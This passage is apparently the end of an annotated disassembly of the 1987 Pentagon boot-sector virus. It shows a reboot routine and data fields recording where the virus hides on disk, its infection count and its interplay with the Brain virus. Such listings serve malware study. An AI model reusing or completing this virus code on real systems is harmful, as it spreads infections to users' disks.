BP075A:	LOOP	BP075A			; Delay
	MOV	BYTE PTR CS:DB07E0,5	; Set count to 5
	STI
	INT	19H			; Disk bootstrap

BP0765:	POPF
	RETF	2

	DB	27 DUP (0)

DW0784	DW	0064H			; Cluster number of virus
DW0786	DW	0066H			; Cluster number of file
DW0788	DW	0B02H			; Virus track & sector
DW078A	DW	0101H			; Virus head and drive
DW078C	DW	0B06H			; File track and sector
DW078E	DW	0101H			; File head and drive
DB0790	DB	1			; Device number

DB0791	DB	'PENTAGONTXT', 21H, 17 DUP (0), 4, 0, 0
DB07B1	DB	'Pentagon,ZG'
DB07BC	DB	'(c) 1987 The Pentagon, Zorell Group$'

DB07E0	DB	20H			; Infection count
DB07E1	DB	0FFH			; Infected by Brain switch
DB07E2	DB	0			; Directory update switch
DB07E3	DB	0			; Reboot switch

	DB	' first sector in segment', 0DH, 0AH, 9, 6DH

CODE	ENDS

	END	START